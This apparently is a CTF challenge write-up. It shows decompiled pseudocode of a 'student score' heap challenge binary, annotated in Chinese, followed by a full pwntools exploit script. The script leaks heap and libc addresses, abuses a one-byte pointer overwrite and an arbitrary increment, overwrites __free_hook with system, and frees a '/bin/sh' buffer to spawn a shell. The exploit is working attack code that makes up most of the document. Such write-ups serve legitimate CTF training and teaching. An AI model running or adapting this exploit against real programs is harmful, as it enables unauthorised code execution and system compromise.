1
sub_1424(){
2
    _QWORD *v2; // [rsp+10h] [rbp-20h]
3
    void *v3; // [rsp+18h] [rbp-18h]
4
    v2 = calloc(1u, 0x20u);        // struct typev2 大小 0x20
5
    v3 = calloc(1u, 0x18u);        // struct typev3 大小 0x18
6
    *v2 = v3;              // typev2 的前 8 字节为 *typev3 指针
7
    *(_DWORD *)*v2 = v1[0];        // typev2 的前 4 字节为 int 值 v1[0]
8
}
9

10
sub_1538(){
11
    if ( *(_DWORD *)(qword_5080[i] + 24LL) == 1 )     // typev2 + 24 为 int 值
12
    {
13
      puts("the student is lazy! b@d!");
14
      v2 -= 10;
15
    }
16
    *(_DWORD *)(*(_QWORD *)qword_5080[i] + 4LL) = v2;  // typev3 的 4 字节处的 int 值
17
}
18

19
sub_1691(){
20
    v0 = *(_QWORD *)qword_5080[v3];
21
    *(_QWORD *)(v0 + 8) = calloc(1u, v2);        // typev3 +8 为 review 指针
22
    read(0, *(void **)(*(_QWORD *)qword_5080[v3] + 8LL), v2);
23
    *(_DWORD *)(*(_QWORD *)qword_5080[v3] + 16LL) = v2; // typev3 +16 为 size
24
}
25

26
sub_1B05(){
27
    if ( !*(_QWORD *)(qword_5080[a1] + 16LL) ){
28
      v1 = qword_5080[a1];
29
      *(_QWORD *)(v1 + 16) = calloc(1u, 0x20u);      // typev2 +16 为堆上指针
30
    }
31
    read(0, *(void **)(qword_5080[a1] + 16LL), 0x20u);
32
    *(_BYTE *)(qword_5080[a1] + 16LL) = v3;        // 修改 typev2 +16 的低8位
33
}
34
sub_1C5B(){
35
    if ( *(_DWORD *)(qword_5080[a1] + 28LL) == 1 ){}     // typev2 +28 的 int 值
36
}

1
struct StudentData { // sizeof=0x18
2
  int question_number;
3
  int score;
4
  char *review_addr;
5
  int review_size;
6
  int pad;
7
};
8
struct StudentCtrl { // sizeof=0x20
9
  StudentData *dataptr;
10
  char name[8];
11
  void *modeptr;
12
  int is_lazy;
13
  int is_reward;
14
};

1
unsigned __int64 add_student()
2
{
3
  _DWORD v1[2]; // [rsp+8h] [rbp-28h] BYREF
4
  StudentCtrl *v2; // [rsp+10h] [rbp-20h]
5
  StudentData *v3; // [rsp+18h] [rbp-18h]
6
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]
7

8
  v4 = __readfsqword(0x28u);
9
  v1[1] = 0;
10
  v1[0] = 0;                                    // the number of question
11
  if ( student_number <= 6 )
12
  {
13
    v2 = calloc(1u, 0x20u);
14
    v3 = calloc(1u, 0x18u);
15
    v2->dataptr = v3;                           // v2 的前 8 字节为指针，指向 v3
16
    student_list[student_number++] = v2;
17
    printf("enter the number of questions: ");
18
    __isoc99_scanf("%d", v1);
19
    if ( v1[0] <= 9 && v1[0] > 0 )
20
    {
21
      v2->dataptr->question_number = v1[0];     // v3 类型的前 4 字节为 v1[0]
22
      puts("finish");
23
    }
24
    else
25
    {
26
      puts("wrong input!");
27
    }
28
  }
29
  else
30
  {
31
    puts("No more students!");
32
  }
33
  return __readfsqword(0x28u) ^ v4;
34
}
35

36
unsigned __int64 give_score()
37
{
38
  unsigned int i; // [rsp+8h] [rbp-18h]
39
  int v2; // [rsp+Ch] [rbp-14h]
40
  _BYTE buf[8]; // [rsp+10h] [rbp-10h] BYREF
41
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
42

43
  v4 = __readfsqword(0x28u);
44
  puts("marking testing papers.....");
45
  for ( i = 0; i < student_number; ++i )
46
  {
47
    if ( read(fd, buf, 8u) != 8 )
48
    {
49
      puts("read_error");
50
      exit(-1);
51
    }
52
    buf[0] &= ~0x80u;                           // buf[0] 的最高位清零
53
    v2 = buf[0] % (10 * student_list[i]->dataptr->question_number);
54
    printf("score for the %dth student is %d\n", i, v2);
55
    if ( student_list[i]->is_lazy == 1 )        // 校验 typev2 的 24 字节处的 int 值
56
    {
57
      puts("the student is lazy! b@d!");
58
      v2 -= 10;
59
    }
60
    student_list[i]->dataptr->score = v2;       // typev3 的 4 字节处的 int 值
61
  }
62
  puts("finish");
63
  return __readfsqword(0x28u) ^ v4;
64
}
65

66
unsigned __int64 write_review()
67
{
68
  StudentData *dataptr; // rbx
69
  int size; // [rsp+10h] [rbp-20h] BYREF
70
  int idx; // [rsp+14h] [rbp-1Ch] BYREF
71
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]
72

73
  v4 = __readfsqword(0x28u);
74
  size = 0;
75
  idx = 0;
76
  printf("which one? > ");
77
  __isoc99_scanf("%d", &idx);
78
  if ( student_list[idx]->dataptr->review_addr )
79
  {
80
    puts("enter your comment:");
81
    read(0, student_list[idx]->dataptr->review_addr, student_list[idx]->dataptr->preview_size);
82
    puts("finish");
83
  }
84
  else
85
  {
86
    printf("please input the size of comment: ");
87
    __isoc99_scanf("%d", &size);
88
    if ( size <= 1023 && size > 0 )
89
    {
90
      dataptr = student_list[idx]->dataptr;
91
      dataptr->review_addr = calloc(1u, size);  // 申请评论
92
      puts("enter your comment:");
93
      read(0, student_list[idx]->dataptr->review_addr, size);
94
      student_list[idx]->dataptr->preview_size = size;
95
      puts("finish");
96
    }
97
    else
98
    {
99
      puts("wrong length :'(");
100
    }
101
  }
102
  return __readfsqword(0x28u) ^ v4;
103
}
104

105
void call_parent()
106
{
107
  unsigned int index; // [rsp+8h] [rbp-18h]
108
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
109
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
110

111
  v2 = __readfsqword(0x28u);
112
  puts("only 3 chances to call parents!");
113
  if ( chances_to_call_parents )
114
  {
115
    --chances_to_call_parents;
116
    if ( student_number )
117
    {
118
      puts("which student id to choose?");
119
      read(0, buf, 5u);
120
      index = atoi(buf);
121
      if ( index <= 9 && student_list[index] )
122
      {
123
        printf("bad luck for student %d! Say goodbye to him/her!", index);
124
        if ( student_list[index]->dataptr->review_addr )
125
          free(student_list[index]->dataptr->review_addr);
126
        free(student_list[index]->dataptr);
127
        free(student_list[index]);
128
        student_list[index] = 0;
129
        --student_number;
130
      }
131
      else
132
      {
133
        puts("please watch carefully :)");
134
      }
135
    }
136
    else
137
    {
138
      puts("add some students first!");
139
    }
140
  }
141
  else
142
  {
143
    puts("no you can't");
144
  }
145
}
146

147
unsigned __int64 __fastcall set_mode(int a1)
148
{
149
  StudentCtrl *v1; // rbx
150
  unsigned int v3; // [rsp+14h] [rbp-1Ch] BYREF
151
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]
152

153
  v4 = __readfsqword(0x28u);
154
  if ( student_list[a1]->is_lazy != 1 )
155
  {
156
    if ( !student_list[a1]->modeptr )
157
    {
158
      v1 = student_list[a1];
159
      v1->modeptr = calloc(1u, 0x20u);
160
    }
161
    puts("enter your mode!");
162
    read(0, student_list[a1]->modeptr, 0x20u);
163
    goto LABEL_8;
164
  }
165
  puts("enter your pray score: 0 to 100");
166
  __isoc99_scanf("%d", &v3);
167
  if ( v3 <= 0x64 )
168
  {
169
    LOBYTE(student_list[a1]->modeptr) = v3;     // 改单字节
170
LABEL_8:
171
    puts("finish");
172
    return __readfsqword(0x28u) ^ v4;
173
  }
174
  puts("bad!");
175
  return __readfsqword(0x28u) ^ v4;
176
}
177

178
unsigned __int64 __fastcall check(int a1)
179
{
180
  _BYTE *v1; // rax
181
  char nptr[24]; // [rsp+20h] [rbp-20h] BYREF
182
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]
183

184
  v4 = __readfsqword(0x28u);
185
  if ( student_list[a1]->is_reward == 1 )
186
  {
187
    puts("already gained the reward!");
188
  }
189
  else
190
  {
191
    if ( student_list[a1]->dataptr->score > 0x59u )
192
    {
193
      printf("Good Job! Here is your reward! %p\n", student_list[a1]);// 分数大于等于 90 打印堆地址
194
      printf("add 1 to wherever you want! addr: ");
195
      sub_131A(0, nptr, 16);
196
      v1 = atol(nptr);
197
      ++*v1;                                    // 指定地址 +1
198
      student_list[a1]->is_reward = 1;
199
    }
200
    if ( student_list[a1]->dataptr->review_addr )// 打印 review
201
    {
202
      puts("here is the review:");
203
      write(1, student_list[a1]->dataptr->review_addr, student_list[a1]->dataptr->preview_size);
204
    }
205
    else
206
    {
207
      puts("no reviewing yet!");
208
    }
209
  }
210
  return __readfsqword(0x28u) ^ v4;
211
}
212

213
int __fastcall pray(int a1)
214
{
215
  puts("prayer...Good luck to you");
216
  student_list[a1]->is_lazy ^= 1u;
217
  return puts("finish");
218
}
219
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
220
{
221
  int v4; // [rsp+0h] [rbp-20h]
222
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
223
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]
224

225
  v6 = __readfsqword(0x28u);
226
  banner(a1, a2, a3);
227
  printf("role: <0.teacher/1.student>: ");
228
  __isoc99_scanf("%d", &role);
229
  while ( 1 )
230
  {
231
    while ( !role )
232
    {
233
      menu_teacher();                           // teacher mode
234
                                                // 1. add a student
235
                                                // 2. give a score
236
                                                // 3. write a review
237
                                                // 4. call his/her parent
238
                                                // 5. change role
239
      printf("choice>> ");
240
      read(0, buf, 2u);
241
      switch ( atoi(buf) )
242
      {
243
        case 1:
244
          add_student();
245
          break;
246
        case 2:
247
          give_score();
248
          break;
249
        case 3:
250
          write_review();
251
          break;
252
        case 4:
253
          call_parent();
254
          break;
255
        case 5:
256
          role = change_role();
257
          break;
258
        case 6:
259
          never_pray();
260
        default:
261
          continue;
262
      }
263
    }
264
    v4 = 0;
265
    if ( !student_number )
266
      break;
267
    while ( role == 1 )
268
    {
269
      menu_student();                           // 1. do the test
270
                                                // 2. check for review
271
                                                // 3. pray
272
                                                // 4. set mode
273
                                                // 5. change role
274
                                                // 6. change id
275
      printf("choice>> ");
276
      read(0, buf, 2u);
277
      switch ( atoi(buf) )
278
      {
279
        case 1:
280
          test();
281
          break;
282
        case 2:
283
          check(v4);
284
          break;
285
        case 3:
286
          pray(v4);
287
          break;
288
        case 4:
289
          set_mode(v4);
290
          break;
291
        case 5:
292
          role = change_role();
293
          break;
294
        case 6:
295
          v4 = change_id();
296
          break;
297
        default:
298
          continue;
299
      }
300
    }
301
  }
302
  puts("no student yet");
303
  return 0;
304
}

1
from pwn import *
2
context(arch='amd64', log_level='debug', os='linux')
3
context.terminal = ['tmux','new-window']
4

5
# io = remote()
6
libc = ELF('./libc.so.6')
7
io = process('./pwn')
8

9
def role(num):
10
    io.sendlineafter(b'>:',str(num).encode())
11

12
def menu(choice):
13
    io.sendlineafter(b'>>',str(choice).encode())
14

15
def change_role(num):
16
    menu(5)
17
    role(num)
18

19
def add_student(num):
20
    menu(1)
21
    io.sendlineafter(b': ',str(num).encode())
22

23
def give_score():
24
    menu(2)
25

26
def write_review(idx, comment=b''):
27
    menu(3)
28
    io.sendlineafter(b'which one? > ', str(idx).encode())
29

30
    response = io.recvuntil(b': ')
31

32
    if b'size' in response:
33
        io.sendline(str(len(comment)).encode())
34
        io.sendlineafter(b'comment:\n', comment)
35
    else:
36
        io.sendline(comment)
37

38
    io.recvuntil(b'finish')
39

40
def call_parent(idx):
41
    menu(4)
42
    io.sendlineafter(b'?\n',str(idx).encode())
43

44
def change_id(idx):
45
    menu(6)
46
    io.sendlineafter("input your id: ",str(idx).encode())
47

48
def check():
49
    menu(2)
50

51
# pary() 将修改 is_flag
52
def pray():
53
    menu(3)
54

55
def set_mode_lazy(score):
56
    menu(4);
57
    io.sendlineafter(b'100',str(score).encode())
58

59
def set_mode_nolazy(content):
60
    menu(4);
61
    io.sendafter(b'enter your mode!',content)
62

63

64
debugger = '''
65
break *$rebase(0x1FD8)
66
break *$rebase(0x20E2)
67
c
68
'''
69

70
# gdb.attach(io,debugger)
71
role(0)
72
add_student(9)                  # 0
73
add_student(9)                  # 1
74
give_score()
75

76
change_role(1)                  # student 0
77
change_id(1)                    # student 1
78
payload=b'A'*8*3
79
set_mode_nolazy(payload)        # 随便填一次 set mode
80
pray()                          # edit is_lazy = 1
81
set_mode_lazy(0x20)             # student_list[1]->mode_ptr
82
pray()                          # edit is_lazy = 0
83
payload2 = p32(9)+p32(0x60)+p64(0)*2+p64(0x31)
84
set_mode_nolazy(payload2)       # student_list[1]->dataptr->score = 0x60
85

86
change_role(0)
87
write_review(0,b'A'*0x3f8)
88
add_student(9)                  # 2
89
write_review(1,b'B'*0xa8)
90
add_student(9)                  # 3
91

92
change_role(1)
93
change_id(1)
94
check()
95
io.recvuntil(b"your reward! ")
96
line = io.recvline()
97
addr_hex = line.split()[-1]
98
heap_addr = int(addr_hex, 16)
99
log.success(f"heap: {hex(heap_addr)}")
100
heap_base = heap_addr-0x2f0
101
un_addr = heap_addr+0x79
102
print(hex(un_addr))
103

104
io.recvuntil("addr: ")
105
io.send(f"{un_addr}")
106

107
change_role(0)
108
call_parent(0)
109

110
change_role(1)
111
change_id(1)
112
payload3 = flat(
113
    p32(9),
114
    p32(0x60),
115
    p64(heap_base + 0x370),
116
    p64(8)
117
)
118
set_mode_nolazy(payload3)
119
pray()
120
set_mode_lazy(0x8)
121
pray()
122
set_mode_nolazy(p64(0))
123

124
check()
125
io.sendafter("addr: ",str(heap_base+0x400))
126
io.recvuntil(b"here is the review:\n")
127

128
libc_base = u64(io.recv(6).ljust(8, b'\x00')) -0x1ecbe0
129
log.success(f"libc: {hex(libc_base)}")
130

131
free_hook = libc_base + libc.sym['__free_hook']
132
system = libc_base + libc.sym['system']
133

134
pray()
135
set_mode_lazy(0x00)
136
pray()
137
set_mode_nolazy(p64(free_hook))    # 将 __free_hook 的地址写到堆里，让堆里的指针指向 libc
138
set_mode_nolazy(p64(system))       # 将 system 的地址写到 __free_hook 里
139

140
change_role(0)
141
write_review(3,b"/bin/sh\x00")
142
call_parent(3)
143

144
io.interactive()